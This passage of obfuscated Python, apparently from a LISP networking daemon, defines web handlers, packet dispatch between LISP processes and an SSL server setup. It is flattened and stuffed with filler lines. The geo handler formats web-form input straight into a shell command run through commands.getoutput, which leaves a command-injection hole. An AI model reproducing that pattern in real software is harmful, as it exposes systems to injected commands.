OoO0O00 / OoooooooOO if 62 - 62: O0 . Oo0Ooo if 33 - 33: Oo0Ooo / iIii1I11I1II1 % i1IIi if ( II1io0 == "" ) : i1I1ii = "Cannot find lisp-rig.py or lisp-rig.pyo" return ( lispconfig . lisp_show_wrapper ( lisp . lisp_print_cour ( i1I1ii ) ) ) if 76 - 76: Ii1I + iIii1I11I1II1 + OoOoOO00 . OoO0O00 if 49 - 49: IiII / ooOoO0o / OOooOOo OOoOO0o0o0 = 'python {} "{}" to {} {}' . format ( II1io0 , oo0OoOO0o0o , OOooO0Oo00 , iIIIIIIIiIII ) if 25 - 25: I1IiiI % O0 + i1IIi - ooOoO0o i1I1ii = commands . getoutput ( OOoOO0o0o0 ) i1I1ii = i1I1ii . replace ( "\n" , "<br>" ) i1I1ii = lisp . convert_font ( i1I1ii ) if 38 - 38: o0oOOo0O0Ooo % I1Ii111 + i11iIiiIii + iII111i + ooOoO0o / i11iIiiIii o0OOOOOo0 = lisp . space ( 2 ) + "Referrals:" i1I1ii = i1I1ii . replace ( "Referrals:" , o0OOOOOo0 ) return ( lispconfig . lisp_show_wrapper ( lisp . lisp_print_cour ( i1I1ii ) ) ) if 57 - 57: iIii1I11I1II1 + iIii1I11I1II1 if 56 - 56: oO0o + ooOoO0o if 32 - 32: II111iiii + OoOoOO00 % ooOoO0o / OoOoOO00 + I1ii11iIi11i if 2 - 2: i11iIiiIii - I1Ii111 + OoO0O00 % I11i * Ii1I if 54 - 54: O0 - iII111i . OOooOOo % iII111i + iII111i if 36 - 36: OOooOOo % i11iIiiIii if 47 - 47: i1IIi + II111iiii . Oo0Ooo * oO0o . I11i / i1IIi if 50 - 50: I1Ii111 / i1IIi % OoooooooOO def oOOOOO0Ooooo ( eid1 , eid2 ) : O0OoO0o = None if os . path . exists ( "lisp-lig.pyo" ) : O0OoO0o = "-O lisp-lig.pyo" if os . path . exists ( "lisp-lig.py" ) : O0OoO0o = "lisp-lig.py" if ( O0OoO0o == None ) : return ( [ None , None ] ) if 57 - 57: Ii1I - OoooooooOO if 68 - 68: o0oOOo0O0Ooo % I1ii11iIi11i / I1Ii111 + I1Ii111 - I1Ii111 . OoO0O00 if 100 - 100: OoOoOO00 % Oo0Ooo if 76 - 76: II111iiii / OoO0O00 + OoooooooOO . I1ii11iIi11i . I11i . ooOoO0o iiiI = commands . getoutput ( "egrep -A 2 'lisp map-resolver {' ./lisp.config" ) OO0OOO00 = None for I1I1 in [ "address = " , "dns-name = " ] : OO0OOO00 = None iIIIiiiIiI1 = iiiI . find ( I1I1 ) if ( iIIIiiiIiI1 == - 1 ) : continue OO0OOO00 = iiiI [ iIIIiiiIiI1 + len ( I1I1 ) : : ] iIIIiiiIiI1 = OO0OOO00 . find ( "\n" ) if ( iIIIiiiIiI1 == - 1 ) : continue OO0OOO00 = OO0OOO00 [ 0 : iIIIiiiIiI1 ] break if 95 - 95: Ii1I - I1ii11iIi11i - O0 . I1IiiI . iII111i if ( OO0OOO00 == None ) : return ( [ None , None ] ) if 7 - 7: I1Ii111 if 45 - 45: O0 - OOooOOo if 56 - 56: O0 + Ii1I if 24 - 24: i11iIiiIii - Ii1I + oO0o * I1IiiI OoooOo0 = lisp . lisp_address ( lisp . LISP_AFI_NONE , "" , 0 , 0 ) IiI1Ii1ii = [ ] for oo0OoOO0o0o in [ eid1 , eid2 ] : if 44 - 44: I1IiiI % Ii1I * I1IiiI . Oo0Ooo + I1ii11iIi11i . OOooOOo if 6 - 6: IiII * OoooooooOO + I1Ii111 / Ii1I if 35 - 35: ooOoO0o % I1IiiI - ooOoO0o - OoO0O00 - OoooooooOO if 46 - 46: i1IIi . i1IIi . oO0o / I11i / ooOoO0o if 34 - 34: OoooooooOO / Oo0Ooo * i11iIiiIii . II111iiii . OoooooooOO if ( OoooOo0 . is_geo_string ( oo0OoOO0o0o ) ) : IiI1Ii1ii . append ( oo0OoOO0o0o ) continue if 59 - 59: i11iIiiIii . OoooooooOO / I11i * I1ii11iIi11i + OoooooooOO if 3 - 3: i11iIiiIii * Oo0Ooo % iIii1I11I1II1 % I1IiiI * iII111i / OOooOOo OOoOO0o0o0 = 'python {} "{}" to {} count 1' . format ( O0OoO0o , oo0OoOO0o0o , OO0OOO00 ) for IIiI1Ii in [ OOoOO0o0o0 , OOoOO0o0o0 + " no-info" ] : i1I1ii = commands . getoutput ( OOoOO0o0o0 ) iIIIiiiIiI1 = i1I1ii . find ( "geo: " ) if ( iIIIiiiIiI1 == - 1 ) : if ( IIiI1Ii != OOoOO0o0o0 ) : IiI1Ii1ii . append ( None ) continue if 95 - 95: IiII * O0 * I1Ii111 . OoooooooOO % Oo0Ooo + I1ii11iIi11i i1I1ii = i1I1ii [ iIIIiiiIiI1 + len ( "geo: " ) : : ] iIIIiiiIiI1 = i1I1ii . find ( "\n" ) if ( iIIIiiiIiI1 == - 1 ) : if ( IIiI1Ii != OOoOO0o0o0 ) : IiI1Ii1ii . append ( None ) continue if 98 - 98: oO0o . OoooooooOO IiI1Ii1ii . append ( i1I1ii [ 0 : iIIIiiiIiI1 ] ) break if 54 - 54: O0 / IiII % ooOoO0o * i1IIi * O0 if 48 - 48: o0oOOo0O0Ooo . oO0o % OoOoOO00 - OoOoOO00 return ( IiI1Ii1ii ) if 33 - 33: I11i % II111iiii + OoO0O00 if 93 - 93: i1IIi . IiII / I1IiiI + IiII if 58 - 58: I1ii11iIi11i + O0 . Oo0Ooo + OoOoOO00 - OoO0O00 - OoOoOO00 if 41 - 41: Oo0Ooo / i1IIi / Oo0Ooo - iII111i . o0oOOo0O0Ooo if 65 - 65: O0 * i11iIiiIii . OoooooooOO / I1IiiI / iII111i if 69 - 69: ooOoO0o % ooOoO0o if 76 - 76: i11iIiiIii * iII111i / OoO0O00 % I1ii11iIi11i + OOooOOo @ bottle . post ( '/lisp/geo' ) def IiIi1II111I ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 80 - 80: Ii1I / OOooOOo if 21 - 21: Oo0Ooo - iIii1I11I1II1 - I1Ii111 oo0OoOO0o0o = bottle . request . forms . get ( "geo-point" ) III1I1Iii11i = bottle . request . forms . get ( "geo-prefix" ) i1I1ii = "" if 96 - 96: oO0o - oO0o if 87 - 87: Oo0Ooo / OoooooooOO - I1ii11iIi11i . IiII + iIii1I11I1II1 . I1ii11iIi11i if 4 - 4: OoooooooOO + ooOoO0o . i1IIi / O0 - O0 if 52 - 52: OoO0O00 * OoooooooOO if 12 - 12: O0 + IiII * i1IIi . OoO0O00 o0OO0oooo = lisp . lisp_address ( lisp . LISP_AFI_NONE , "" , 0 , 0 ) I11II1i1 = lisp . lisp_geo ( "" ) IiI1ii11I1 = lisp . lisp_geo ( "" ) I1i1iI , I1iI1I1ii1 = oOOOOO0Ooooo ( oo0OoOO0o0o , III1I1Iii11i ) if 33 - 33: o0oOOo0O0Ooo / O0 + OOooOOo if 75 - 75: IiII % i11iIiiIii + iIii1I11I1II1 if 92 - 92: OoOoOO00 % O0 if 55 - 55: iIii1I11I1II1 * iII111i if 85 - 85: iIii1I11I1II1 . II111iiii if ( o0OO0oooo . is_geo_string ( oo0OoOO0o0o ) ) : if ( I11II1i1 . parse_geo_string ( oo0OoOO0o0o ) == False ) : i1I1ii = "Could not parse geo-point format" if 54 - 54: Ii1I . OoooooooOO % Oo0Ooo elif ( I1i1iI == None ) : i1I1ii = "EID {} lookup could not find geo-point" . format ( lisp . bold ( oo0OoOO0o0o , True ) ) elif ( I11II1i1 . parse_geo_string ( I1i1iI ) == False ) : i1I1ii = "Could not parse geo-point format returned from lookup" if 22 - 22: OOooOOo if 22 - 22: iII111i * I11i - Oo0Ooo * O0 / i11iIiiIii if 78 - 78: Oo0Ooo * O0 / ooOoO0o + OoooooooOO + OOooOOo if 23 - 23: iII111i % OoooooooOO / iIii1I11I1II1 + I1ii11iIi11i / i1IIi / o0oOOo0O0Ooo if 94 - 94: i1IIi if 36 - 36: I1IiiI + Oo0Ooo if ( i1I1ii == "" ) : if ( o0OO0oooo . is_geo_string ( III1I1Iii11i ) ) : if ( IiI1ii11I1 . parse_geo_string ( III1I1Iii11i ) == False ) : i1I1ii = "Could not parse geo-prefix format" if 46 - 46: iII111i elif ( I1iI1I1ii1 == None ) : i1I1ii = "EID-prefix {} lookup could not find geo-prefix" . format ( lisp . bold ( III1I1Iii11i , True ) ) if 65 - 65: i1IIi . I1ii11iIi11i / ooOoO0o elif ( IiI1ii11I1 . parse_geo_string ( I1iI1I1ii1 ) == False ) : i1I1ii = "Could not parse geo-prefix format returned from lookup" if 11 - 11: IiII * ooOoO0o / ooOoO0o - OOooOOo if 68 - 68: I1IiiI % IiII - IiII / I1IiiI + I1ii11iIi11i - Oo0Ooo if 65 - 65: ooOoO0o - i1IIi if 62 - 62: I11i / oO0o % Oo0Ooo . OoooooooOO / i11iIiiIii / I1Ii111 if 60 - 60: I1IiiI % oO0o / o0oOOo0O0Ooo % oO0o * i11iIiiIii / iII111i if 34 - 34: I1Ii111 - OOooOOo if 25 - 25: oO0o % I1IiiI + i11iIiiIii + O0 * OoooooooOO if ( i1I1ii == "" ) : oo0OoOO0o0o = "" if ( oo0OoOO0o0o == I1i1iI ) else ", EID {}" . format ( oo0OoOO0o0o ) III1I1Iii11i = "" if ( III1I1Iii11i == I1iI1I1ii1 ) else ", EID-prefix {}" . format ( III1I1Iii11i ) if 64 - 64: i1IIi if 10 - 10: I1Ii111 % O0 / I1IiiI % I11i iiII = I11II1i1 . print_geo_url ( ) I1iI1111i = IiI1ii11I1 . print_geo_url ( ) I1Ii1iIIIIi = IiI1ii11I1 . radius iii = I11II1i1 . dms_to_decimal ( ) iii = ( round ( iii [ 0 ] , 6 ) , round ( iii [ 1 ] , 6 ) ) O000OOO = IiI1ii11I1 . dms_to_decimal ( ) O000OOO = ( round ( O000OOO [ 0 ] , 6 ) , round ( O000OOO [ 1 ] , 6 ) ) o0 = round ( IiI1ii11I1 . get_distance ( I11II1i1 ) , 2 ) IIi1 = "inside" if IiI1ii11I1 . point_in_circle ( I11II1i1 ) else "outside" if 73 - 73: OOooOOo + OOooOOo % I11i * i1IIi if 4 - 4: OOooOOo - oO0o % OoOoOO00 / II111iiii % oO0o O0OO0OoO = lisp . space ( 2 ) o0OOo = lisp . space ( 1 ) IiI1Ii11Ii = lisp . space ( 3 ) if 99 - 99: O0 . o0oOOo0O0Ooo % I11i - Oo0Ooo / I11i i1I1ii = ( "Geo-Point:{}{} {}{}<br>Geo-Prefix:{}{} {}, {} " + "kilometer radius{}<br>" ) . format ( O0OO0OoO , iiII , iii , oo0OoOO0o0o , # I1Ii111 / OoOoOO00 o0OOo , I1iI1111i , O000OOO , I1Ii1iIIIIi , III1I1Iii11i ) i1I1ii += "Distance:{}{} kilometers, point is {} of circle" . format ( IiI1Ii11Ii , o0 , lisp . bold ( IIi1 , True ) ) if 82 - 82: OoooooooOO . Ii1I return ( lispconfig . lisp_show_wrapper ( lisp . lisp_print_cour ( i1I1ii ) ) ) if 26 - 26: oO0o + IiII - II111iiii . II111iiii + I1ii11iIi11i + OoOoOO00 if 68 - 68: O0 if 76 - 76: I1ii11iIi11i if 99 - 99: o0oOOo0O0Ooo if 1 - 1: Ii1I * OoOoOO00 * OoO0O00 + Oo0Ooo if 90 - 90: I1Ii111 % Oo0Ooo - Oo0Ooo . iIii1I11I1II1 / OOooOOo + I11i if 89 - 89: oO0o if 87 - 87: iII111i % Oo0Ooo if 62 - 62: OoO0O00 + ooOoO0o / iII111i * i11iIiiIii def iiIIIIiI111 ( addr_str , port , nonce ) : if ( addr_str != None ) : for OoooOO0Oo0 in lisp . lisp_info_sources_by_address . values ( ) : I1iIiIii = OoooOO0Oo0 . address . print_address_no_iid ( ) if ( I1iIiIii == addr_str and OoooOO0Oo0 . port == port ) : return ( OoooOO0Oo0 ) if 76 - 76: OoO0O00 . OoooooooOO % I1Ii111 * Ii1I if 23 - 23: IiII + iIii1I11I1II1 return ( None ) if 14 - 14: O0 % IiII % Ii1I * oO0o if 65 - 65: I11i % oO0o + I1ii11iIi11i if ( nonce != None ) : if ( nonce not in lisp . lisp_info_sources_by_nonce ) : return ( None ) return ( lisp . lisp_info_sources_by_nonce [ nonce ] ) if 86 - 86: iIii1I11I1II1 / O0 . I1Ii111 % iIii1I11I1II1 % Oo0Ooo return ( None ) if 86 - 86: i11iIiiIii - o0oOOo0O0Ooo . ooOoO0o * Oo0Ooo / Ii1I % o0oOOo0O0Ooo if 61 - 61: o0oOOo0O0Ooo + OoOoOO00 if 15 - 15: OoOoOO00 * oO0o + OOooOOo . I11i % I1IiiI - ooOoO0o if 13 - 13: OoOoOO00 % OoOoOO00 % Oo0Ooo % I1IiiI * i1IIi % I11i if 82 - 82: IiII . OoOoOO00 / ooOoO0o + iII111i - ooOoO0o if 55 - 55: ooOoO0o % Oo0Ooo % o0oOOo0O0Ooo if 29 - 29: IiII / iIii1I11I1II1 + I1ii11iIi11i % iII111i % I11i if 46 - 46: iIii1I11I1II1 def oo0oO00o0O00o ( lisp_sockets , info_source , packet ) : if 98 - 98: ooOoO0o . OOooOOo if 60 - 60: OoO0O00 - i1IIi . OOooOOo + OOooOOo * OOooOOo + Ii1I if 66 - 66: OOooOOo * OOooOOo / iIii1I11I1II1 + OoOoOO00 . OOooOOo if 51 - 51: I1ii11iIi11i o0oOOOOoo0 = lisp . lisp_ecm ( 0 ) packet = o0oOOOOoo0 . decode ( packet ) if ( packet == None ) : lisp . lprint ( "Could not decode ECM packet" ) return ( True ) if 80 - 80: i11iIiiIii % I1ii11iIi11i if 54 - 54: o0oOOo0O0Ooo + I11i - iIii1I11I1II1 % ooOoO0o % IiII I1ii1II1iII = lisp . lisp_control_header ( ) if ( I1ii1II1iII . decode ( packet ) == None ) : lisp . lprint ( "Could not decode control header" ) return ( True ) if 19 - 19: I1ii11iIi11i / iIii1I11I1II1 % i1IIi . OoooooooOO if ( I1ii1II1iII . type != lisp . LISP_MAP_REQUEST ) : lisp . lprint ( "Received ECM without Map-Request inside" ) return ( True ) if 57 - 57: ooOoO0o . Oo0Ooo - OoO0O00 - i11iIiiIii * I1Ii111 / o0oOOo0O0Ooo if 79 - 79: I1ii11iIi11i + o0oOOo0O0Ooo % Oo0Ooo * o0oOOo0O0Ooo if 21 - 21: iII111i if 24 - 24: iII111i / ooOoO0o if 61 - 61: iIii1I11I1II1 + oO0o i1IiiI = lisp . lisp_map_request ( ) packet = i1IiiI . decode ( packet , None , 0 ) O0OOO0 = i1IiiI . nonce o0OIi = info_source . address . print_address_no_iid ( ) if 11 - 11: oO0o . I1IiiI + IiII / i1IIi if 1 - 1: Oo0Ooo * I1Ii111 . OoooooooOO if 73 - 73: OoOoOO00 % o0oOOo0O0Ooo if 71 - 71: oO0o - OoooooooOO * Oo0Ooo * I11i + o0oOOo0O0Ooo * I1ii11iIi11i i1IiiI . print_map_request ( ) if 85 - 85: i11iIiiIii . OoooooooOO - iIii1I11I1II1 lisp . lprint ( "Process {} from info-source {}, port {}, nonce 0x{}" . format ( lisp . bold ( "nat-proxy Map-Request" , False ) , # O0 % ooOoO0o % I11i lisp . red ( o0OIi , False ) , info_source . port , lisp . lisp_hex_string ( O0OOO0 ) ) ) if 25 - 25: OoooooooOO % Ii1I * II111iiii - OoO0O00 if 95 - 95: I1IiiI % I1Ii111 * I1IiiI + O0 . I1Ii111 % OoooooooOO if 6 - 6: OoOoOO00 - ooOoO0o * o0oOOo0O0Ooo + OoOoOO00 % o0oOOo0O0Ooo if 100 - 100: OoO0O00 % I1Ii111 - I11i % I11i % I11i / ooOoO0o if 83 - 83: oO0o - ooOoO0o - IiII % i1IIi - iII111i . o0oOOo0O0Ooo info_source . cache_nonce_for_info_source ( O0OOO0 ) if 96 - 96: Oo0Ooo + I1Ii111 . i1IIi if 54 - 54: II111iiii . i1IIi / I1ii11iIi11i % I1IiiI / I1Ii111 if 65 - 65: OoOoOO00 . OoOoOO00 - oO0o + Oo0Ooo / i11iIiiIii if 90 - 90: iIii1I11I1II1 + OoOoOO00 if 9 - 9: iIii1I11I1II1 . OoooooooOO + i1IIi - Oo0Ooo info_source . no_timeout = i1IiiI . subscribe_bit if 30 - 30: iII111i / OoO0O00 . iII111i if 17 - 17: Oo0Ooo + OoooooooOO * OoooooooOO if 5 - 5: I1Ii111 % OoooooooOO . OoOoOO00 if 67 - 67: I1ii11iIi11i + Ii1I if 72 - 72: IiII % o0oOOo0O0Ooo if 93 - 93: iIii1I11I1II1 + i11iIiiIii . o0oOOo0O0Ooo . i1IIi % I1IiiI % ooOoO0o for oO0oo in i1IiiI . itr_rlocs : if ( oO0oo . is_local ( ) ) : return ( False ) if 52 - 52: IiII % ooOoO0o if 25 - 25: I11i / I11i % OoooooooOO - I1ii11iIi11i * oO0o if 23 - 23: i11iIiiIii if 100 - 100: oO0o + O0 . I1IiiI + i1IIi - OoOoOO00 + o0oOOo0O0Ooo if 65 - 65: II111iiii / Oo0Ooo iiII1i = lisp . lisp_myrlocs [ 0 ] i1IiiI . itr_rloc_count = 0 i1IiiI . itr_rlocs = [ ] i1IiiI . itr_rlocs . append ( iiII1i ) if 19 - 19: I1IiiI + i11iIiiIii . IiII - I11i / Ii1I + o0oOOo0O0Ooo packet = i1IiiI . encode ( None , 0 ) i1IiiI . print_map_request ( ) if 38 - 38: Oo0Ooo / iIii1I11I1II1 * iIii1I11I1II1 % I1ii11iIi11i O00o = i1IiiI . target_eid if ( O00o . is_ipv6 ( ) ) : o0o0ooOo00 = lisp . lisp_myrlocs [ 1 ] if ( o0o0ooOo00 != None ) : iiII1i = o0o0ooOo00 if 91 - 91: OoO0O00 * I1Ii111 % OoO0O00 . o0oOOo0O0Ooo * I1ii11iIi11i . OOooOOo if 13 - 13: I1ii11iIi11i if 80 - 80: Oo0Ooo % IiII % OoooooooOO * Oo0Ooo % Ii1I if 41 - 41: OoooooooOO / i1IIi if 70 - 70: OoOoOO00 % o0oOOo0O0Ooo % i1IIi / I1ii11iIi11i % i11iIiiIii / i1IIi i1i1Ii1IiIII = lisp . lisp_is_running ( "lisp-ms" ) lisp . lisp_send_ecm ( lisp_sockets , packet , O00o , lisp . LISP_CTRL_PORT , O00o , iiII1i , to_ms = i1i1Ii1IiIII , ddt = False ) return ( True ) if 9 - 9: I11i - oO0o + O0 / iII111i % i1IIi if 97 - 97: o0oOOo0O0Ooo * ooOoO0o if 78 - 78: I11i . OOooOOo + oO0o * iII111i - i1IIi if 27 - 27: Ii1I % i1IIi . Oo0Ooo % I1Ii111 if 10 - 10: IiII / OoooooooOO if 50 - 50: i11iIiiIii - OoooooooOO . oO0o + O0 . i1IIi if 91 - 91: o0oOOo0O0Ooo . iII111i % Oo0Ooo - iII111i . oO0o % i11iIiiIii if 25 - 25: iIii1I11I1II1 if 63 - 63: ooOoO0o def oO0oOOOooo ( lisp_sockets , info_source , packet , mr_or_mn ) : o0OIi = info_source . address . print_address_no_iid ( ) oOoO0o00OO0 = info_source . port O0OOO0 = info_source . nonce if 6 - 6: iIii1I11I1II1 - iIii1I11I1II1 % o0oOOo0O0Ooo / iIii1I11I1II1 * I1Ii111 mr_or_mn = "Reply" if mr_or_mn else "Notify" mr_or_mn = lisp . bold ( "nat-proxy Map-{}" . format ( mr_or_mn ) , False ) if 3 - 3: OOooOOo . IiII / Oo0Ooo lisp . lprint ( "Forward {} to info-source {}, port {}, nonce 0x{}" . format ( mr_or_mn , lisp . red ( o0OIi , False ) , oOoO0o00OO0 , # iIii1I11I1II1 % iIii1I11I1II1 / ooOoO0o . oO0o + I1Ii111 . I1Ii111 lisp . lisp_hex_string ( O0OOO0 ) ) ) if 90 - 90: o0oOOo0O0Ooo / OOooOOo - OOooOOo . I1IiiI if 82 - 82: I1Ii111 . I1Ii111 - iII111i if 72 - 72: i11iIiiIii if 94 - 94: OOooOOo i1IiI1ii1i = lisp . lisp_convert_4to6 ( o0OIi ) lisp . lisp_send ( lisp_sockets , i1IiI1ii1i , oOoO0o00OO0 , packet ) if 39 - 39: OOooOOo + OoO0O00 if 80 - 80: OOooOOo % OoO0O00 / OoOoOO00 if 54 - 54: Oo0Ooo % OoO0O00 - OOooOOo - I11i if 71 - 71: ooOoO0o . i11iIiiIii if 56 - 56: O0 * iII111i + iII111i * iIii1I11I1II1 / ooOoO0o * I1Ii111 if 25 - 25: iIii1I11I1II1 . I11i * i11iIiiIii + Oo0Ooo * I11i if 67 - 67: iII111i def oooO0o ( lisp_sockets , source , sport , packet ) : global Oo if 19 - 19: OOooOOo % OoO0O00 / Ii1I + II111iiii % OoooooooOO I1ii1II1iII = lisp . lisp_control_header ( ) if ( I1ii1II1iII . decode ( packet ) == None ) : lisp . lprint ( "Could not decode control header" ) return if 89 - 89: Ii1I if 51 - 51: iII111i if 68 - 68: iII111i - o0oOOo0O0Ooo * OoO0O00 % ooOoO0o . ooOoO0o - iIii1I11I1II1 if 22 - 22: OoooooooOO / I1ii11iIi11i % iII111i * OoOoOO00 if 32 - 32: OoooooooOO % oO0o % iIii1I11I1II1 / O0 if 61 - 61: II111iiii . O0 - Ii1I - I1ii11iIi11i / i11iIiiIii - II111iiii if 98 - 98: Ii1I - I1IiiI . i11iIiiIii * Oo0Ooo if 29 - 29: Ii1I / ooOoO0o % I11i if 10 - 10: iIii1I11I1II1 % OoooooooOO % I1ii11iIi11i if 39 - 39: II111iiii * OoOoOO00 . O0 * I11i if ( I1ii1II1iII . type == lisp . LISP_NAT_INFO ) : if ( I1ii1II1iII . info_reply == False ) : lisp . lisp_process_info_request ( lisp_sockets , packet , source , sport , lisp . lisp_ms_rtr_list ) if 89 - 89: Ii1I - ooOoO0o . I11i - I1Ii111 - I1IiiI return if 79 - 79: IiII + IiII + Ii1I if 39 - 39: O0 - OoooooooOO oo0O00ooo0o = packet packet = lisp . lisp_packet_ipc ( packet , source , sport ) if 29 - 29: OoooooooOO . II111iiii % OoOoOO00 if 26 - 26: iIii1I11I1II1 - I1ii11iIi11i . IiII . IiII + iIii1I11I1II1 * Oo0Ooo if 85 - 85: OOooOOo + II111iiii - OOooOOo * oO0o - i1IIi % iII111i if 1 - 1: OoooooooOO / O0 + OoOoOO00 + OoOoOO00 . I1Ii111 - OoOoOO00 if ( I1ii1II1iII . type in ( lisp . LISP_MAP_REGISTER , lisp . LISP_MAP_NOTIFY_ACK ) ) : lisp . lisp_ipc ( packet , Oo , "lisp-ms" ) return if 9 - 9: I1Ii111 * OoooooooOO % I1IiiI / OoOoOO00 * I11i if 48 - 48: OoooooooOO . OoOoOO00 if 65 - 65: oO0o . Oo0Ooo if 94 - 94: OoOoOO00 + IiII . ooOoO0o if 69 - 69: O0 - O0 if ( I1ii1II1iII . type == lisp . LISP_MAP_REPLY ) : i1I1i1i1I1 = lisp . lisp_map_reply ( ) i1I1i1i1I1 . decode ( oo0O00ooo0o ) if 17 - 17: OoOoOO00 + OoooooooOO % OOooOOo OoooOO0Oo0 = iiIIIIiI111 ( None , 0 , i1I1i1i1I1 . nonce ) if ( OoooOO0Oo0 ) : oO0oOOOooo ( lisp_sockets , OoooOO0Oo0 , oo0O00ooo0o , True ) else : O0OoO0o = "/tmp/lisp-lig" if ( os . path . exists ( O0OoO0o ) ) : lisp . lisp_ipc ( packet , Oo , O0OoO0o ) else : lisp . lisp_ipc ( packet , Oo , "lisp-itr" ) if 36 - 36: i11iIiiIii + I1ii11iIi11i % OOooOOo . I1IiiI - ooOoO0o if 94 - 94: I1IiiI % OoOoOO00 . IiII . ooOoO0o . OoO0O00 return if 53 - 53: OoOoOO00 if 84 - 84: OoO0O00 if 97 - 97: i1IIi if 98 - 98: OoooooooOO - I1IiiI + ooOoO0o if 98 - 98: iII111i . IiII . IiII - OOooOOo if ( I1ii1II1iII . type == lisp . LISP_MAP_NOTIFY ) : oOOO0o = lisp . lisp_map_notify ( lisp_sockets ) oOOO0o . decode ( oo0O00ooo0o ) if 18 - 18: I1ii11iIi11i / Oo0Ooo - iII111i OoooOO0Oo0 = iiIIIIiI111 ( None , 0 , oOOO0o . nonce ) if ( OoooOO0Oo0 ) : oO0oOOOooo ( lisp_sockets , OoooOO0Oo0 , oo0O00ooo0o , False ) else : O0OoO0o = "/tmp/lisp-lig" if ( os . path . exists ( O0OoO0o ) ) : lisp . lisp_ipc ( packet , Oo , O0OoO0o ) else : OOoO00ooO = "lisp-rtr" if lisp . lisp_is_running ( "lisp-rtr" ) else "lisp-etr" if 69 - 69: oO0o / IiII * ooOoO0o lisp . lisp_ipc ( packet , Oo , OOoO00ooO ) if 81 - 81: oO0o if 62 - 62: Ii1I + O0 * OoO0O00 return if 59 - 59: II111iiii if 43 - 43: Oo0Ooo + OoooooooOO if 47 - 47: ooOoO0o if 92 - 92: I11i % i11iIiiIii % Oo0Ooo if 23 - 23: II111iiii * iII111i if 80 - 80: I1Ii111 / i11iIiiIii + OoooooooOO if ( I1ii1II1iII . type == lisp . LISP_MAP_REFERRAL ) : II1io0 = "/tmp/lisp-rig" if ( os . path . exists ( II1io0 ) ) : lisp . lisp_ipc ( packet , Oo , II1io0 ) else : lisp . lisp_ipc ( packet , Oo , "lisp-mr" ) if 38 - 38: I1ii11iIi11i % ooOoO0o + i1IIi * OoooooooOO * oO0o return if 83 - 83: iIii1I11I1II1 - ooOoO0o - I1Ii111 / OoO0O00 - O0 if 81 - 81: Ii1I - oO0o * I1ii11iIi11i / I1Ii111 if 21 - 21: OoO0O00 if 63 - 63: I11i . O0 * I11i + iIii1I11I1II1 if 46 - 46: i1IIi + II111iiii * i1IIi - Ii1I if 79 - 79: II111iiii - oO0o * I1ii11iIi11i - OoOoOO00 . I1ii11iIi11i if ( I1ii1II1iII . type == lisp . LISP_MAP_REQUEST ) : OOoO00ooO = "lisp-itr" if ( I1ii1II1iII . is_smr ( ) ) else "lisp-etr" if 11 - 11: O0 * OoOoOO00 if 37 - 37: OoOoOO00 + O0 . O0 * Oo0Ooo % I1Ii111 / iII111i if 18 - 18: OoooooooOO if 57 - 57: ooOoO0o . OoOoOO00 * o0oOOo0O0Ooo - OoooooooOO if 75 - 75: i11iIiiIii / o0oOOo0O0Ooo . IiII . i1IIi . i1IIi / I11i if ( I1ii1II1iII . rloc_probe ) : return if 94 - 94: ooOoO0o + I1IiiI lisp . lisp_ipc ( packet , Oo , OOoO00ooO ) return if 56 - 56: OoOoOO00 % o0oOOo0O0Ooo if 40 - 40: OOooOOo / IiII if 29 - 29: Ii1I - Ii1I / ooOoO0o if 49 - 49: I11i + oO0o % OoO0O00 - Oo0Ooo - O0 - OoooooooOO if 4 - 4: II111iiii - oO0o % Oo0Ooo * i11iIiiIii if 18 - 18: Oo0Ooo % O0 if 66 - 66: iIii1I11I1II1 % i11iIiiIii / I1IiiI if 47 - 47: I1ii11iIi11i * oO0o + iIii1I11I1II1 - oO0o / IiII if ( I1ii1II1iII . type == lisp . LISP_ECM ) : OoooOO0Oo0 = iiIIIIiI111 ( source , sport , None ) if ( OoooOO0Oo0 ) : if ( oo0oO00o0O00o ( lisp_sockets , OoooOO0Oo0 , oo0O00ooo0o ) ) : return if 86 - 86: IiII if 43 - 43: I1IiiI / iII111i / ooOoO0o + iIii1I11I1II1 + OoooooooOO OOoO00ooO = "lisp-mr" if ( I1ii1II1iII . is_to_etr ( ) ) : OOoO00ooO = "lisp-etr" elif ( I1ii1II1iII . is_to_ms ( ) ) : OOoO00ooO = "lisp-ms" elif ( I1ii1II1iII . is_ddt ( ) ) : if ( lisp . lisp_is_running ( "lisp-ddt" ) ) : OOoO00ooO = "lisp-ddt" elif ( lisp . lisp_is_running ( "lisp-ms" ) ) : OOoO00ooO = "lisp-ms" if 33 - 33: II111iiii - IiII - ooOoO0o elif ( lisp . lisp_is_running ( "lisp-mr" ) == False ) : OOoO00ooO = "lisp-etr" if 92 - 92: OoO0O00 * IiII lisp . lisp_ipc ( packet , Oo , OOoO00ooO ) if 92 - 92: oO0o return if 7 - 7: iII111i if 73 - 73: OoO0O00 % I1ii11iIi11i if 32 - 32: OOooOOo + iII111i + iIii1I11I1II1 * Oo0Ooo if 62 - 62: i11iIiiIii if 2 - 2: I1IiiI if 69 - 69: OoooooooOO / Oo0Ooo * I1Ii111 if 99 - 99: II111iiii * iIii1I11I1II1 % O0 * oO0o / II111iiii % OoooooooOO if 14 - 14: IiII . IiII % ooOoO0o if 42 - 42: o0oOOo0O0Ooo . OOooOOo - ooOoO0o if 33 - 33: II111iiii / O0 / IiII - I11i - i1IIi if 8 - 8: i11iIiiIii . iII111i / iIii1I11I1II1 / I1ii11iIi11i / IiII - Ii1I if 32 - 32: o0oOOo0O0Ooo . i1IIi * Oo0Ooo class O0oooo0O ( bottle . ServerAdapter ) : def run ( self , hand ) : Ii1iiIIi1i = "./lisp-cert.pem" if 44 - 44: o0oOOo0O0Ooo if 51 - 51: II111iiii if 10 - 10: OoO0O00 % OoO0O00 / o0oOOo0O0Ooo - OoOoOO00 if 44 - 44: ooOoO0o - O0 / II111iiii . iIii1I11I1II1 . i1IIi if 63 - 63: iIii1I11I1II1 + IiII % i1IIi / I1IiiI % II111iiii if ( os . path . exists ( Ii1iiIIi1i ) == False ) : os . system ( "cp ./lisp-cert.pem.default {}" . format ( Ii1iiIIi1i ) ) lisp . lprint ( ( "{} does not exist, creating a copy from lisp-" + "cert.pem.default" ) . format ( Ii1iiIIi1i ) ) if 60 - 60: o0oOOo0O0Ooo . OoOoOO00 % I1Ii111 / I1IiiI / O0 if 19 - 19: i11iIiiIii . I1IiiI + II111iiii / OOooOOo . I1ii11iIi11i * ooOoO0o if 59 - 59: iIii1I11I1II1 / I1ii11iIi11i % ooOoO0o Oooo = wsgiserver . CherryPyWSGIServer ( ( self . host , self . port ) , hand ) Oooo . ssl_adapter = 